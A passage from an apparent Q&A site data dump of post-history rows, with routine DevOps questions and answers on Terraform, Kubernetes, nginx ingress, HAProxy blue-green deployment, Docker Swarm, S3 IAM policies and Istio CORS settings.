  <row Id="34378" PostHistoryTypeId="2" PostId="11233" RevisionGUID="a8079033-3bb4-4348-af5f-ef04ebf9f276" CreationDate="2020-04-03T20:09:40.317" UserId="20101" Text="Feature branches schould stay until the feature is done, once done the branch must be closed/deleted. Establishing this kind of behavior schould be a team goal and usually takes some time, it's just easier to forget about them in the hurry up I'm ready with my pull request mode.&#xD;&#xA;&#xD;&#xA; Keeping all of them is a maintaining hell. You might be thinking that each &#xD;&#xA;branch follows a naming convention with a map to a JIRA ticket or whatever kind of mapping you have and it's really straight forward to make a distinguishment, but that's not the case once you have a dozen of them and even more are constantly pocking up. I highly doubt performance has anything to do, it's more like a confusion cost switch.&#xD;&#xA;&#xD;&#xA;Regarding the commands, I do not think so. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34379" PostHistoryTypeId="2" PostId="11234" RevisionGUID="6d3186bf-19fd-406a-9d04-71787544c5f8" CreationDate="2020-04-03T21:20:17.090" UserId="20251" Text="Im able to make a number of kubernetes constructs in terraform and even have done so for my ephemeral stateful data that requires low latency disk performance.  I can terraform up a [kubernetes_persistent_volume][1] but trying to do so with node_affinity has got me a bit perplexed as it requires a lists of lists (nodeSelectorTerms and matchExpressions), where the inside list has key/value pairs, and just not sure how to terraform all that.  Heres the working yaml version:&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: PersistentVolume&#xD;&#xA;    metadata: # PVs do not have namespaces&#xD;&#xA;      name: nodeconfig&#xD;&#xA;    spec:&#xD;&#xA;      capacity:&#xD;&#xA;        storage: 25Gi&#xD;&#xA;      volumeMode: Filesystem&#xD;&#xA;      accessModes:&#xD;&#xA;        - ReadWriteMany&#xD;&#xA;      persistentVolumeReclaimPolicy: Retain&#xD;&#xA;      storageClassName: nodeconfig&#xD;&#xA;      local:&#xD;&#xA;        path: /mnt/nodeconfig&#xD;&#xA;      nodeAffinity:&#xD;&#xA;        required:&#xD;&#xA;          nodeSelectorTerms:&#xD;&#xA;          - matchExpressions:&#xD;&#xA;            - key: kubernetes.io/hostname&#xD;&#xA;              operator: In&#xD;&#xA;              values:&#xD;&#xA;              - myhost&#xD;&#xA;&#xD;&#xA;Has anone dealt with this?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/providers/kubernetes/r/persistent_volume.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="34380" PostHistoryTypeId="1" PostId="11234" RevisionGUID="6d3186bf-19fd-406a-9d04-71787544c5f8" CreationDate="2020-04-03T21:20:17.090" UserId="20251" Text="Terraform and Kubernetes' StorageClass with node affinity" ContentLicense="CC BY-SA 4.0" />
  <row Id="34381" PostHistoryTypeId="3" PostId="11234" RevisionGUID="6d3186bf-19fd-406a-9d04-71787544c5f8" CreationDate="2020-04-03T21:20:17.090" UserId="20251" Text="&lt;kubernetes&gt;&lt;terraform&gt;&lt;kubernetes-volume&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34382" PostHistoryTypeId="2" PostId="11235" RevisionGUID="b1634841-0c74-4fd4-8e3f-159e2f918025" CreationDate="2020-04-03T22:09:57.057" UserId="20251" Text="Well of course its always the same - as soon as you actually do ask for help you figure it out...&#xD;&#xA;&#xD;&#xA;    resource &quot;kubernetes_persistent_volume&quot; &quot;nodeconfig&quot; {&#xD;&#xA;      metadata {&#xD;&#xA;        name = &quot;nodeconfig&quot;&#xD;&#xA;        labels = {&#xD;&#xA;          a = &quot;a&quot;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;      spec {&#xD;&#xA;        capacity = {&#xD;&#xA;          storage = &quot;25Gi&quot;&#xD;&#xA;        }&#xD;&#xA;        storage_class_name               = &quot;nodeconfig&quot;&#xD;&#xA;        persistent_volume_reclaim_policy = &quot;Retain&quot;&#xD;&#xA;        access_modes                     = [&quot;ReadOnlyMany&quot;]&#xD;&#xA;        persistent_volume_source {&#xD;&#xA;          local {&#xD;&#xA;            path = &quot;/mnt/nodeconfig&quot;&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;        node_affinity {&#xD;&#xA;          required {&#xD;&#xA;            node_selector_term {&#xD;&#xA;              match_expressions {&#xD;&#xA;                key = &quot;kubernetes.io/hostname&quot;&#xD;&#xA;                operator = &quot;In&quot;&#xD;&#xA;                values = [var.config.RGs.Primary.clustervmhost]  # must mnanually put this one in&#xD;&#xA;              }&#xD;&#xA;            }&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;So the docs were a bit off of the lists of lists, it was a map of maps of lists." ContentLicense="CC BY-SA 4.0" />
  <row Id="34383" PostHistoryTypeId="2" PostId="11236" RevisionGUID="1b07d357-d4ed-4efb-85a3-faa08f09ab13" CreationDate="2020-04-03T23:03:37.293" UserId="2463" Text="Without seeing the contents of your two modules I'm guessing a bit, but it looks like you have an AWS VPC declared in your `vpc` module and some subnets declared in your `prod_subnets` module and you are asking how the configuration of the subnets can get access to the VPC ID.&#xD;&#xA;&#xD;&#xA;If so, the answer is that the `vpc` module must export the VPC ID as an [output value](https://www.terraform.io/docs/configuration/outputs.html) and then the `prod_subnets` module must accept the VPC ID as an [input variable](https://www.terraform.io/docs/configuration/variables.html).&#xD;&#xA;&#xD;&#xA;In your `vpc` module, you can declare a `vpc_id` output value like this, for example in a file `modules/vpc/outputs.tf`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;output &quot;vpc_id&quot; {&#xD;&#xA;  value = aws_vpc.production_vpc&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In your `prod_subnets` module you can declare a `vpc_id` input variable, for example in a file `modules/vpc/modules/subnets/production/outputs.tf`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;variable &quot;vpc_id&quot; {&#xD;&#xA;  type = string&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then in your existing `modules/vpc/modules/subnets/production/production.tf` file, on line 162, change the `vpc_id` argument for the subnet to refer to that variable:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  vpc_id = var.vpc_id&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Finally, you must then edit the top-level file whose source code you shared in your question to pass the value between the two modules, like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;module &quot;vpc&quot; {&#xD;&#xA;  source = &quot;./modules/vpc&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;module &quot;prod_subnets&quot; {&#xD;&#xA;  source = &quot;./modules/vpc/modules/subnets/production&quot;&#xD;&#xA;&#xD;&#xA;  vpc_id = module.vpc.vpc_id&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;`module.vpc.vpc_id` means to take the value of the `vpc_id` output value from the `vpc` module." ContentLicense="CC BY-SA 4.0" />
  <row Id="34385" PostHistoryTypeId="2" PostId="11237" RevisionGUID="1f71beb7-5553-46fc-8f79-e9043b7f3d91" CreationDate="2020-04-04T05:15:25.713" UserId="19681" Text="I have a nginx ingress controller running in AKS. One of my application is accessed using POSTMAN, in which I pass some custom headers and their values. &#xD;&#xA;The problem is that those custom header values are null when i see in the application.&#xD;&#xA;&#xD;&#xA;What configuration should I do in my ingress controller to allow those header values to pass to my application. My ingress controller is sitting behind the Azure Network load balancer.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34386" PostHistoryTypeId="1" PostId="11237" RevisionGUID="1f71beb7-5553-46fc-8f79-e9043b7f3d91" CreationDate="2020-04-04T05:15:25.713" UserId="19681" Text="How to allow custom headers in Nginx Ingress controller" ContentLicense="CC BY-SA 4.0" />
  <row Id="34387" PostHistoryTypeId="3" PostId="11237" RevisionGUID="1f71beb7-5553-46fc-8f79-e9043b7f3d91" CreationDate="2020-04-04T05:15:25.713" UserId="19681" Text="&lt;nginx&gt;&lt;ingress&gt;&lt;azure-kubernetes-service&gt;&lt;http&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34388" PostHistoryTypeId="2" PostId="11238" RevisionGUID="1c7f41b2-688c-46a6-8096-f100994a6e39" CreationDate="2020-04-04T14:40:16.293" UserId="19335" Text="**TLDR**&#xD;&#xA;How to know what region in the cloud nearest to docker hub?&#xD;&#xA;&#xD;&#xA;**Full details**&#xD;&#xA;From my localhost my network is super slow to push the docker image onto docker hub. &#xD;&#xA;&#xD;&#xA;My workaround is to use a cloud machine to do that `docker image push` hopefully that the internet there would be faster.&#xD;&#xA;&#xD;&#xA;So my question is which region on the cloud is nearest to docker hub for me to choose?&#xD;&#xA;&#xD;&#xA;[My google search][1] results little helpful&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/search?client=ubuntu&amp;channel=fs&amp;q=which%20cloud%20region%20best%20to%20docker%20image%20push%20time&amp;ie=utf-8&amp;oe=utf-8&#xD;&#xA;&#xD;&#xA;p.s. &#xD;&#xA;I also asked on stackoverflow [here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/q/61029378/248616" ContentLicense="CC BY-SA 4.0" />
  <row Id="34389" PostHistoryTypeId="1" PostId="11238" RevisionGUID="1c7f41b2-688c-46a6-8096-f100994a6e39" CreationDate="2020-04-04T14:40:16.293" UserId="19335" Text="Which cloud region could have the fastest time for a docker image push?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34390" PostHistoryTypeId="3" PostId="11238" RevisionGUID="1c7f41b2-688c-46a6-8096-f100994a6e39" CreationDate="2020-04-04T14:40:16.293" UserId="19335" Text="&lt;docker&gt;&lt;cloud&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34394" PostHistoryTypeId="2" PostId="11240" RevisionGUID="cee9984e-14e2-40da-b12d-b2a0eaf6a4a9" CreationDate="2020-04-05T02:15:21.487" UserId="19963" Text="As promised, here is a solution using haproxy with sticky cookies. Note, that this approach requires support on the application side (as only your application layer may know once transactions are completed).&#xD;&#xA;&#xD;&#xA;To achieve this, first - start with haproxy configuration of the following kind: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;        global&#xD;&#xA;            daemon&#xD;&#xA;            maxconn 256&#xD;&#xA;        defaults&#xD;&#xA;            mode http&#xD;&#xA;            timeout connect 5000ms&#xD;&#xA;            timeout client 50000ms&#xD;&#xA;            timeout server 50000ms&#xD;&#xA;    &#xD;&#xA;        frontend http-in&#xD;&#xA;            bind *:80&#xD;&#xA;            default_backend servers&#xD;&#xA;    &#xD;&#xA;        backend servers&#xD;&#xA;            balance roundrobin&#xD;&#xA;            cookie SID insert indirect preserve&#xD;&#xA;            server server1 blue-server-hostname:8000 cookie sblue&#xD;&#xA;&#xD;&#xA;Note that this configuration is pretty generic and taken from haproxy documentation - from here: https://cbonte.github.io/haproxy-dconv/2.2/configuration.html#2.5&#xD;&#xA;&#xD;&#xA;The part that is used to achieve stickiness is cookie instruction that is added in the end, detailed documentation here: https://cbonte.github.io/haproxy-dconv/2.2/configuration.html#4-cookie&#xD;&#xA;&#xD;&#xA;So, with this line:&#xD;&#xA;&#xD;&#xA;    cookie SID insert indirect preserve&#xD;&#xA;we tell haproxy to insert cookie called **SID** which may only have value **sblue** for now (this value is defined in last line of configuration). And we also say that if this cookie is supplied by the back-end server, we don't want haproxy to overwrite it (achieved by **insert** and **preserve** keywords).&#xD;&#xA;&#xD;&#xA;The next part is to add some application level logic to set **SID** cookie to client and make its value configurable on the application side. You want to set **SID** cookie to **sblue** for your old code and to **sgreen** for your new code.&#xD;&#xA;&#xD;&#xA;Now, when you do deployment, at first you have only blue instance, all your **SID** cookies are set to **sblue** and haproxy directs all your traffic to the only blue instance.&#xD;&#xA;&#xD;&#xA;Next, you add your green instance, and after that you add it to haproxy by adding the following line to the end of configuration above:&#xD;&#xA;&#xD;&#xA;    server server2 green-server-hostname:8000 cookie sgreen&#xD;&#xA;Now any request which gets to your new green instance would have its cookie set to sgreen and would stick to the new instance.&#xD;&#xA;&#xD;&#xA;Finally, you want to engage your application-level configuration on the old blue instance to set cookie to **sgreen** to clients once their transaction is over (basically, at the point where application knows it's safe to do so). Then any new requests from such clients would be directed to green instance. At some point all your requests would be transitioned to green - and you can detach blue instance at that point.&#xD;&#xA;&#xD;&#xA;This kind of approach (or its variations) would be the most graceful and controlled by your application-layer transaction logic." ContentLicense="CC BY-SA 4.0" />
  <row Id="34395" PostHistoryTypeId="2" PostId="11241" RevisionGUID="bb63c978-8d0a-40b4-83d8-046501694556" CreationDate="2020-04-05T02:52:46.443" UserId="16059" Text="DockerHub is a massive scale and very critical global service.  So, you almost definitely don't have to think about this at all.&#xD;&#xA;&#xD;&#xA;There are techniques on cloud hosts (AWS, Azure, GCP) to replicate &amp; host content/services in regions across the globe and route traffic to the closest entry point automatically.  The cloud hosts make this quite easy to do with their managed services (while without them it would be very difficult).&#xD;&#xA;&#xD;&#xA;Also, there are many third party providers of technologies like CDNs which do similar things at scale (and they are really good at it).  They are **extremely** frequently used in these cases.&#xD;&#xA;&#xD;&#xA;So, again - just go to docker hub and don't think about it.  You will be routed to the best location automatically." ContentLicense="CC BY-SA 4.0" />
  <row Id="34404" PostHistoryTypeId="2" PostId="11245" RevisionGUID="fbdeabff-40d3-409a-9354-1006a18ca5df" CreationDate="2020-04-05T15:39:11.263" UserId="16059" Text="Is it possible to extract the data stored in data-dog to text files/parquet files or via REST APIs/etc?&#xD;&#xA;&#xD;&#xA;E.g. to bring them into your own data lake for different analysis (like custom ML)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34405" PostHistoryTypeId="1" PostId="11245" RevisionGUID="fbdeabff-40d3-409a-9354-1006a18ca5df" CreationDate="2020-04-05T15:39:11.263" UserId="16059" Text="Data Dog Raw Metrics Export" ContentLicense="CC BY-SA 4.0" />
  <row Id="34406" PostHistoryTypeId="3" PostId="11245" RevisionGUID="fbdeabff-40d3-409a-9354-1006a18ca5df" CreationDate="2020-04-05T15:39:11.263" UserId="16059" Text="&lt;metrics&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34412" PostHistoryTypeId="2" PostId="11247" RevisionGUID="b65e9872-18ce-4c72-a009-40725464b42d" CreationDate="2020-04-05T18:06:42.007" UserId="19746" Text="I am Data Scientist and I have a problem with setting of versions modules like Keras, Tensorflow PyTorch, etc. &#xD;&#xA;Although I am using tools like **virtuaenv** or **conda**, my code isn't cross-platform, version of modules from mac don't fit at windows and I spending a lot of time to the handling of infinity number of problems. **Docker** isn't helping every time, because sometimes I have to send code to my client, which is non-technical(very weak at CS at all). &#xD;&#xA;&#xD;&#xA;The main question is: **is the way/tool/software/anything** which supports handling dependencies of modules on **various** platforms?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34413" PostHistoryTypeId="1" PostId="11247" RevisionGUID="b65e9872-18ce-4c72-a009-40725464b42d" CreationDate="2020-04-05T18:06:42.007" UserId="19746" Text="Tool or way to support handling dependencies of modules in various platforms (for machine learning in Python)" ContentLicense="CC BY-SA 4.0" />
  <row Id="34414" PostHistoryTypeId="3" PostId="11247" RevisionGUID="b65e9872-18ce-4c72-a009-40725464b42d" CreationDate="2020-04-05T18:06:42.007" UserId="19746" Text="&lt;docker&gt;&lt;python&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34415" PostHistoryTypeId="50" PostId="1458" RevisionGUID="70591a79-cf97-46df-a456-0bf4d8dab586" CreationDate="2020-04-05T19:01:50.247" UserId="-1" />
  <row Id="34416" PostHistoryTypeId="2" PostId="11248" RevisionGUID="a25892e0-346e-4757-a656-7b23d9b42688" CreationDate="2020-04-05T19:17:40.363" UserId="20289" Text="I am using Azure devOps to build and deploy my application, and within that application I have a project that is being used by other related applications (let's call it project N). Thus I decided to deploy this project as a NuGet package, and consume it during the build. &#xD;&#xA;&#xD;&#xA;Project N is likely to change often, thus I am having some trouble in defining a reliable setup that:&#xD;&#xA;&#xD;&#xA; 1. Creates the NuGet package only when there are changes in Project N and its dependencies&#xD;&#xA; 2. Guarantees that, if the NuGet package is to be created, as per 1), the pipeline does that before anything else&#xD;&#xA;&#xD;&#xA;The way I have setup this so far, is to have two different pipelines, one that creates the NuGet package and deploys it (NuGet Pipeline), and another one that consumes that NuGet package and then builds and deploys the application (Main Pipeline).&#xD;&#xA;&#xD;&#xA;The problem is, when changes happen both in files related with Project N, and in some of the remaining files of the solution, I don't know how to make a rule that says &quot;Run NuGet Pipeline before the Main Pipeline&quot;, so for the moment I have to trust in luck for that to happen, and if not, I would have to manually trigger the Main Pipeline after the two build are finished. Because I want to be sure that the new changes introduced in the Project N do not break the Solution.&#xD;&#xA;&#xD;&#xA;Is there an elegant way to do that? I could setup a trigger that, whenever the Pipeline NuGet finishes it would trigger the Main pipeline, but by doing it that way I would trigger the Main Pipeline twice whenever changes would be made to the Project N and to the rest of the solution. " ContentLicense="CC BY-SA 4.0" />
  <row Id="34417" PostHistoryTypeId="1" PostId="11248" RevisionGUID="a25892e0-346e-4757-a656-7b23d9b42688" CreationDate="2020-04-05T19:17:40.363" UserId="20289" Text="How to setup priorities between pipelines that might be triggered simultaneously on Azure DevOps pipelines" ContentLicense="CC BY-SA 4.0" />
  <row Id="34418" PostHistoryTypeId="3" PostId="11248" RevisionGUID="a25892e0-346e-4757-a656-7b23d9b42688" CreationDate="2020-04-05T19:17:40.363" UserId="20289" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;&lt;build-pipeline&gt;&lt;nuget&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34419" PostHistoryTypeId="2" PostId="11249" RevisionGUID="bcfbea73-7b2a-4a67-a4bf-d736e37813c5" CreationDate="2020-04-05T20:31:32.403" UserId="16059" Text="We're looking at a new metrics solution and are attempting to build it in house.  So, my question is: &#xD;&#xA;&#xD;&#xA;&gt; What can scale more effectively / with less pain; Thanos or Cortex?&#xD;&#xA;&#xD;&#xA;I understand the general differences between the two.  I'm just looking to know if one has some inherent issue at very large scale that the other avoids.  E.g. is the Thanos compactor troublesome with lots of time series?  (random example).  Or do the centralized Cortex pieces have any areas where they don't quite horizontally scale well?&#xD;&#xA;&#xD;&#xA;They both *sound* like they can horizontally scale with almost no limit but that's hard to believe in practice." ContentLicense="CC BY-SA 4.0" />
  <row Id="34420" PostHistoryTypeId="1" PostId="11249" RevisionGUID="bcfbea73-7b2a-4a67-a4bf-d736e37813c5" CreationDate="2020-04-05T20:31:32.403" UserId="16059" Text="Thanos or Cortex - What handles very large scale (say, hundreds of millions of time series) better?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34421" PostHistoryTypeId="3" PostId="11249" RevisionGUID="bcfbea73-7b2a-4a67-a4bf-d736e37813c5" CreationDate="2020-04-05T20:31:32.403" UserId="16059" Text="&lt;prometheus&gt;&lt;metrics&gt;&lt;thanos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34422" PostHistoryTypeId="50" PostId="9357" RevisionGUID="8a3dceef-f473-4dd7-8f3e-bd91376cde01" CreationDate="2020-04-05T21:01:35.290" UserId="-1" />
  <row Id="34426" PostHistoryTypeId="2" PostId="11251" RevisionGUID="fcd44748-a274-426e-a0f5-e5678f8481bd" CreationDate="2020-04-06T01:31:44.710" UserId="16059" Text="Projects like Thanos, which are based on prometheus storage formats, seem to say that it is impossible to back-fill data in a prometheus based system.&#xD;&#xA;&#xD;&#xA;Can anyone explain why and if there are any possibilities for changing this?  Lack of ability to backfill would make it difficult to switch  metrics systems without impact (when previous systems can already retain multi years' data).&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34427" PostHistoryTypeId="1" PostId="11251" RevisionGUID="fcd44748-a274-426e-a0f5-e5678f8481bd" CreationDate="2020-04-06T01:31:44.710" UserId="16059" Text="Back-filling prometheus (and related system) metrics?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34428" PostHistoryTypeId="3" PostId="11251" RevisionGUID="fcd44748-a274-426e-a0f5-e5678f8481bd" CreationDate="2020-04-06T01:31:44.710" UserId="16059" Text="&lt;prometheus&gt;&lt;thanos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34429" PostHistoryTypeId="2" PostId="11252" RevisionGUID="7019fd15-40b6-40a8-8a12-18d49e3ddb9c" CreationDate="2020-04-06T02:31:44.813" UserId="16059" Text="Python is notoriously painful when it comes to dependency and version management.&#xD;&#xA;&#xD;&#xA;I think its your job to make a portable application, and there are usually methods to do so (even if they  boil down to ugly branching logic based on the host OS type/etc).  Most of the time, you can avoid OS specific things with some effort though.&#xD;&#xA;&#xD;&#xA;In terms of deploying code to clients, I would recommend looking at tools that bundle your code into a stand-alone application (pyinstaller, py2app, etc).  If you can build a standalone app for your clients for each OS, you won't have to worry about what is on their system (python versions, docker, etc)." ContentLicense="CC BY-SA 4.0" />
  <row Id="34430" PostHistoryTypeId="2" PostId="11253" RevisionGUID="79e062ae-83e8-42ae-aa5f-60ff2935e6ed" CreationDate="2020-04-06T03:57:06.803" UserId="20300" Text="Got response from SO forum: Is there a `JAVA_HOME` configured under `Mange Jenkins -&gt; Global Tool Configuration -&gt; JDK`? You may have to click on `JDK installations` to be able to see what's configured there." ContentLicense="CC BY-SA 4.0" />
  <row Id="34432" PostHistoryTypeId="2" PostId="11254" RevisionGUID="6e7af351-867a-461e-9f7e-8d9519dcb4cc" CreationDate="2020-04-06T06:22:46.017" UserId="5454" Text="Add the following policy if you want to access from FTP software like **WinSCP**, **CyberDuck**, etc.&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;      &quot;Statement&quot;: [&#xD;&#xA;        {&#xD;&#xA;          &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;          &quot;Action&quot;: [&#xD;&#xA;            &quot;s3:GetBucketLocation&quot;,&#xD;&#xA;            &quot;s3:ListAllMyBuckets&quot;&#xD;&#xA;          ],&#xD;&#xA;          &quot;Resource&quot;: &quot;*&quot;&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;          &quot;Action&quot;: [&quot;s3:ListBucket&quot;],&#xD;&#xA;          &quot;Resource&quot;: [&#xD;&#xA;    			&quot;arn:aws:s3:::test1&quot;,&#xD;&#xA;    			&quot;arn:aws:s3:::test2&quot;&#xD;&#xA;    		]&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;          &quot;Action&quot;: [&#xD;&#xA;            &quot;s3:PutObject&quot;,&#xD;&#xA;            &quot;s3:GetObject&quot;,&#xD;&#xA;            &quot;s3:DeleteObject&quot;&#xD;&#xA;          ],&#xD;&#xA;          &quot;Resource&quot;: [&#xD;&#xA;    			&quot;arn:aws:s3:::test1/*&quot;,&#xD;&#xA;    			&quot;arn:aws:s3:::test2/*&quot;&#xD;&#xA;    		]&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I learnt from [Writing IAM Policies: How to Grant Access to an Amazon S3 Bucket][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/blogs/security/writing-iam-policies-how-to-grant-access-to-an-amazon-s3-bucket/" ContentLicense="CC BY-SA 4.0" />
  <row Id="34433" PostHistoryTypeId="2" PostId="11255" RevisionGUID="3f1a1111-f3fe-4eff-9d0a-a2a8bd18fa30" CreationDate="2020-04-06T09:59:42.703" UserId="7730" Text="You don't need a restart policy with swarm mode. Swarm mode will constantly try to reconcile any differences between the current and target state. I've seen cases where the restart policy enforced by the docker engine, and the implicit reconciliation in swarm mode have conflicted and resulted in issues. The restart policy would also restart the stopped container which would implicitly break the goal to use a new image since the image can not change for the life of a container. Swarm mode, conversely, will recreate any stopped containers with a new container.&#xA;&#xA;To have swarm use the current value of a tag, rather than resolving that tag to an image digest on the initial deploy, you need `docker stack deploy --resolve-image ...`. Note that I haven't tested if this will pull new images, I've only needed to use the feature to use locally built images that shouldn't be pulled from a registry. If Swarm mode doesn't pull new images, you'll also want an extra process to pull your image periodically." ContentLicense="CC BY-SA 4.0" />
  <row Id="34434" PostHistoryTypeId="2" PostId="11256" RevisionGUID="85c1f7da-2af1-4a7f-b700-287a30e412f6" CreationDate="2020-04-06T11:34:30.553" UserId="17329" Text="I was running some vulnerability testings on service mesh and I got 2 things connected with istio that I can't find how to solve: the first one was I was advised to change the response headers to not show server: envoy-proxy, the second one is that I need to whitelist specific domains in virtualservice access-control-allow-origin (currently I have a wildcard and if I send a request from some hacking domain for example it will pass. I have tried to whitelist, but it didn't block anything. Currently I am on 1.2.2, but tested on 1.4 as well." ContentLicense="CC BY-SA 4.0" />
  <row Id="34435" PostHistoryTypeId="1" PostId="11256" RevisionGUID="85c1f7da-2af1-4a7f-b700-287a30e412f6" CreationDate="2020-04-06T11:34:30.553" UserId="17329" Text="Istio - how to whitelist access-control-allow-origin, so other will be blocked" ContentLicense="CC BY-SA 4.0" />
  <row Id="34436" PostHistoryTypeId="3" PostId="11256" RevisionGUID="85c1f7da-2af1-4a7f-b700-287a30e412f6" CreationDate="2020-04-06T11:34:30.553" UserId="17329" Text="&lt;istio&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34438" PostHistoryTypeId="6" PostId="11249" RevisionGUID="2673cda4-a32d-4e59-a5b2-2e74ef1731a2" CreationDate="2020-04-06T12:17:54.070" UserId="3767" Comment="retag (edit summary must have at least 10 characters)" Text="&lt;prometheus&gt;&lt;metrics&gt;&lt;scalability&gt;&lt;thanos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34439" PostHistoryTypeId="24" PostId="11249" RevisionGUID="2673cda4-a32d-4e59-a5b2-2e74ef1731a2" CreationDate="2020-04-06T12:17:54.070" Comment="Proposed by 3767 approved by 40 edit id of 1179" ContentLicense="CC BY-SA 4.0" />
  <row Id="34443" PostHistoryTypeId="2" PostId="11258" RevisionGUID="c0a2d6f2-f8bb-4f4c-9f47-ab6efcfae2b2" CreationDate="2020-04-06T16:39:37.580" UserId="13298" Text="Let's suppose i have 5 k8s nodes with 2 cpu on each node.&#xD;&#xA;&#xD;&#xA;This mean i have 10 cpus.&#xD;&#xA;&#xD;&#xA;Now let's suppose i want to deploy a very small and basic application with 20 replicas.&#xD;&#xA;&#xD;&#xA;Is there a limitation on k8s that will allow only one pod for one cpu and reject 10/20 replicas ?&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="34444" PostHistoryTypeId="1" PostId="11258" RevisionGUID="c0a2d6f2-f8bb-4f4c-9f47-ab6efcfae2b2" CreationDate="2020-04-06T16:39:37.580" UserId="13298" Text="Run more pods than node's CPU with k8s" ContentLicense="CC BY-SA 4.0" />
  <row Id="34445" PostHistoryTypeId="3" PostId="11258" RevisionGUID="c0a2d6f2-f8bb-4f4c-9f47-ab6efcfae2b2" CreationDate="2020-04-06T16:39:37.580" UserId="13298" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34447" PostHistoryTypeId="34" PostId="11173" RevisionGUID="519f427f-2d48-4958-8490-a7d11fc3c442" CreationDate="2020-04-06T17:21:56.290" UserId="20388" Comment="54" />
  <row Id="34448" PostHistoryTypeId="2" PostId="11260" RevisionGUID="6c302f1f-05ea-48a6-980c-384a5ca097dc" CreationDate="2020-04-06T18:01:05.363" UserId="7730" Text="You need the `--with-registry-auth` flag, e.g.:&#xD;&#xA;&#xD;&#xA;    docker stack deploy -c myapp.yml --with-registry-auth myapp&#xD;&#xA;&#xD;&#xA;From the `docker stack deploy --help` output:&#xD;&#xA;&#xD;&#xA;    --with-registry-auth     Send registry authentication details to Swarm agents " ContentLicense="CC BY-SA 4.0" />
  <row Id="34450" PostHistoryTypeId="6" PostId="11173" RevisionGUID="dddd94d5-9730-4a96-8a5f-6cb9566c1162" CreationDate="2020-04-06T19:32:17.863" UserId="20042" Comment="added tags" Text="&lt;deployment&gt;&lt;nginx&gt;&lt;postgresql&gt;&lt;bluegreen&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34451" PostHistoryTypeId="24" PostId="11173" RevisionGUID="dddd94d5-9730-4a96-8a5f-6cb9566c1162" CreationDate="2020-04-06T19:32:17.863" Comment="Proposed by 20042 approved by 40 edit id of 1180" ContentLicense="CC BY-SA 4.0" />
  <row Id="34455" PostHistoryTypeId="2" PostId="11262" RevisionGUID="5fb7107e-a779-477c-b38d-f74521d3cf7a" CreationDate="2020-04-07T02:23:50.227" UserId="17675" Text="In this SO article I understand that I can run a sequence of `initContainers` before running the containers defined in `spec.template.spec.containers`. &#xD;&#xA;&#xD;&#xA;https://stackoverflow.com/questions/40713573/how-to-run-containers-sequentially-as-a-kubernetes-job&#xD;&#xA;&#xD;&#xA;I have two independent containers, each of which requires a sequence of `initContainers` to run in series prior to the container running.&#xD;&#xA;&#xD;&#xA;Is it possible to run both sequences of `initContainers` at the same time? Something like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: batch/v1&#xD;&#xA;kind: Job&#xD;&#xA;metadata:&#xD;&#xA;  name: my-test-job&#xD;&#xA;spec:&#xD;&#xA;  backoffLimit: 0&#xD;&#xA;  template:&#xD;&#xA;    spec:&#xD;&#xA;      initContainers:&#xD;&#xA;      - name: init1&#xD;&#xA;        image: busybox&#xD;&#xA;        command: [&quot;echo&quot;, &quot;Init 1 Ran!&quot;]&#xD;&#xA;      containers:&#xD;&#xA;      - name: task1&#xD;&#xA;        image: busybox&#xD;&#xA;        imagePullPolicy: Always&#xD;&#xA;        command: [&quot;echo&quot;, &quot;Task 